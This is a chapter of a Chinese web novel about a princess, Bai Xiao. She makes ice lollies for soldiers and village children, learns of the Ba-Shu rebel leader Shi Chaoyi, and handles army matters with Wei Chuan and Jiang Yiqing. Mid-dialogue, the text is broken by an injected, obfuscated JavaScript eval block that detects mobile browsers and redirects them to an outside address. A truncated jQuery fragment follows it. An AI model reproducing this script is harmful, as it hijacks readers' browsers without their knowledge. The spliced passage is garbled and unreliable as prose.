与林牧驰的婚礼推迟后，白霄手上的事务也暂时少了下来，整个人跟着轻松了不少。
转眼临近夏至，天气渐渐热了。白霄和阿菊、江以宁几人商量着，找来几位关系不错的民兵帮忙，琢磨出一个做冰棒的法子。他们把雪梨、葡萄等水果切得细碎，一一填入胡桃与江以清刻好的木质模具里，再浇上平日大家爱喝的酸梅汤、牛乳之类的饮品，送到附近一家酒楼的冰窖中冻上一夜。第二天取出来，便成了清凉沁人的新鲜吃食。
白霄让人陆续做了几批，每次都很快被将士们分完。她自己尝着也觉得爽口，心想永乐村的孩子们一定喜欢，于是趁着和魏川一同巡视据点的机会，特意多带了一些，顺路捎给了老范和那些孩子。
“真好吃！”
“谢谢公主！”
果然，孩子们一见到这冰冰凉凉又甜丝丝的玩意儿，眼睛都亮了起来，不一会儿就把白霄带来的冰棒吃得干干净净。
“慢点吃，喜欢的话，下次我再多带些来。”白霄看着他们开心的模样，眼角也弯了起来。
“这东西吃多了伤肠胃，公主跑一趟多辛苦，你们倒好，还惦记着下次。”老范一边拿布巾给年纪小的孩子擦去手上、脸上化开的冰水，一边轻声数落着。话语虽然有些嗔怪，但表情却是十分慈祥温和的。
孩子们咧开了嘴，有些不好意思地笑笑。
天越来越热，糯米的性子也活泼了不少，总是一有机会就想往外跑。白霄心疼它平日养在营里难得自由，但凡外出办事，只要方便便会把它带在身边。
毛茸茸的糯米很快吸引了孩子们的注意。白霄见状便将它轻轻放到地上，让它自己去玩。
起初糯米还有些怕生，谁伸手摸它，它还轻轻叫唤两声，躲开一点。孩子们却热情得很，纷纷从家里找来碎肉等吃食，小心放在地上喂它。等糯米吃饱了，他们便围着它玩起捉迷藏，你追我赶，笑声不断。没过多久，糯米就和他们熟络起来，小尾巴摇得欢快，在孩子们腿间蹭来蹭去。
“这些娃娃啊，一听公主要来，个个乐得跟过年似的。”老范走到白霄和魏川身边，望着眼前孩子们与糯米嬉闹的温馨场面，脸上不禁浮现出欣慰的神色。“公主真是我们的恩人。不光是对我们这些人，对这些孩子，就连整个关中……都因为公主，日子变得不一样了。”
“又说这些了，快别这么客气。”白霄笑着拍了拍老范的肩，止住了他的话。
几个孩子玩到兴头上，手拉着手围成一圈，用清脆的童音唱着几句歌谣。白霄觉着新奇，便仔细听了听：
“月儿弯弯照山岗，失散的孩儿想爹娘。
巴山蜀水路长长，有人月下磨刀枪……”
白霄听得云里雾里，不由得眉头一皱：
“他们唱的这是什么意思？”
一旁静立许久的魏川此时才缓缓开口：
“公主没听过这首童谣么？他们唱的是史朝义。”
白霄摇了摇头。
“史朝义是谁？”
“史朝义啊，我知道他……”老范接过话，“原是永乐村西边山坳里那户史家的孩子。关中十几年前乱得很，到处是人贩子。他和家人走散后，被路过的人贩子掳去，一路卖到了巴蜀。”
“那孩子在巴蜀长大，不知吃了多少苦，后来竟拉起一支队伍，成了当地叛军的头领。”魏川接着说道，“如今他已占领了巴蜀大半地盘，自立为王。公主近来一直留意的那股叛军，便是史朝义的部下。”
“原来是他……”白霄低声自语，目光投向远处层叠的山影。
巴蜀地势险要，物产丰饶，她早就想将其纳入掌中，以成合围中原之势。听到魏川这样说，她心下不禁蠢蠢欲动。
林牧驰的伤口开始愈合，新生的皮肉在结痂下隐隐发痒，像是有蚂蚁在爬。他在床上辗转反侧，实在躺不住，正要撑着身子偷偷下地，白霄正好掀帘走了进来。
“伤还没好全，就急着下地？”白霄快步上前，伸手轻轻按住他肩膀，“快躺回去。”
“军医天天让我躺着，再躺下去，我骨头都要僵了……”林牧驰小声抱怨，到底还是顺着她的力道靠回枕上。
“再养半个月，差不多就能下床走动了。你好好把身子养结实，将士们才不至于为你担心。”
“大家都照常操练了吧？”林牧驰望向帐外。
“都在练着呢。我让江以清暂时领着队，趁这空隙过来看看你。”白霄在床边的座椅上坐下。
“公主似乎很信任江公子……”林牧驰话里透着些不高兴。
“嗯，魏川最近帮我打下手，有些忙不过来，军中事务又多，江以清是自己提出帮忙的。”白霄显然没想那么多，神色平常，并未察觉他话里的情绪，“我看他身手确实漂亮，带兵也有一套，便让他试试。”
“公主——”魏川的声音从营帐外面传来，“公主现在在忙吗？”
白霄知道魏川是有事情找自己，便闻声起身，转头对林牧驰说：
“行，你既无大碍，我就先走了。”
“快去忙吧。”林牧驰望着她，忍不住又添一句，“只是这整日躺着实在无趣……公主若晚间得空，过来陪我说说话可好？”
“好好好，”白霄被他这样子逗笑，边朝外走边出声应道，“等我忙完就来，你安心躺着吧。”
林牧驰这才安心地躺下。
白霄走出营帐，魏川正在门外等着。
远处的校场上传来士卒操练的呼喝声。她朝那边望了一眼，江以清一身简装，正站在队列前指点着什么。风拂过他半束的发尾，侧影清瘦却挺拔。白霄静静看了片刻，眼底浮起一丝几不可察的欣慰，这才转向魏川：
“什么事？”
“公主，我军向来沿用轮流配马、齐射草靶的方法训练将士们的骑射技巧。这法子虽然好上手，但未免太过死板，兵士们练久了，只会照搬套路，上了战场应变不及，有时还可能因为配合不熟伤到自己人。前两天我和陈生在城里，看见几个少年用皮绳拴住木靶拖在马后，一边跑一边用弹弓射那晃动的靶子。我们觉着，此法不仅练眼力，更能训练将士们的灵活应变。属下觉得，这个方法或许可以改良用于军中。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147873|183961||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
魏川说这话时，眼睛亮亮的，满是期待。
“听着确有可取之处。是不是得准备专用的拖靶和长绳？”白霄认真想了想，回道。
“对。除了结实的皮靶和长绳，还得划出一片跑马道，周围最好拉上防护网，防止流箭飞出去。这些材料和人手……恐怕都得请公主帮忙调度。”
白霄点点头：“行，我知道了。明天我就去安排。”
魏川抱拳应下，人却没有离开，只是搓了搓手，面上露出些踌躇。白霄见他仍然站在原地，便问道：
“还有事？”
魏川咧了咧嘴，有点不好意思地开口：
“从去年开始，营里添了不少新人，但营房一直没扩建。如今七八个人挤一个帐篷，天越来越热，晚上翻个身都难，汗味又重，大家实在睡不好。将军本来答应这几个月就置办这事，可眼下他受伤修养，肯定是顾不上了。属下斗胆，想来问问公主对此事有没有打算？”
白霄听罢，心里明白：
“这事确实不能拖。你去叫江以清过来吧。”
魏川脸上露出笑意：“江公子做事细致，又常和大家打交道，确实合适。我这就去。”
他大步走向校场，凑近江以清低声说了几句。江以清抬头朝这边看了一眼，随即快步走了过来。
“公主，什么事。”江以清在她面前站定，眼波流转。
白霄见他来得这么快，心下莫名有些局促，不自觉地细细观察他的神色。
“听说你这几天帮忙带兵，做得还不错？”
江以清也有些不自然地微微低头：
“公主说笑了，不过是大家给您面子，不嫌弃我笨手笨脚罢了。”
“你要是还算笨手笨脚，我可不敢叫你做事了。”白霄看似嗔怪地瞥了一眼，嘴角却悄悄弯了起来。
“公主有什么吩咐，但说无妨。”
“如今营里人多了，住处越来越挤。我想让你找人画图纸，尽快把营房扩建起来，让大家住得宽松些。”
“原来是这件事，”江以清听了，眉头舒展了些，“公主放心，我会办好的。”
“嗯。”白霄点了点头。
江以清很快在带兵的间隙将营房扩建了起来，新起的几排营房都结实周正，出入还方便。将士们觉得宽敞多了，私下说起时，都在夸江以清做事稳妥。
这些话有时也会传到白霄耳朵里。可白霄渐渐觉出些不对来。每回听到旁人夸江以清，她心里就有些说不上来的别扭。
起初她也疑心，莫非是自己对这下属生了什么不该有的念头？可细细琢磨，似乎又不完全是。只是这感觉太过奇怪，让她不由得想避开江以清。平常非必要的时候，都尽量不召他过来述职。
这夜，阿菊等人照例来到白霄帐中述职。灯火映着几张年轻却略带疲惫之色的脸，白霄静静听着，不时点头，低声给出几句指示。帐内暖黄，帐外夏风渐起，正说到一半，帘子忽然被人掀开，江以清一声不吭走了进来。
见到他，白霄先是一怔，随即竟从心底浮起一丝清晰的欣喜。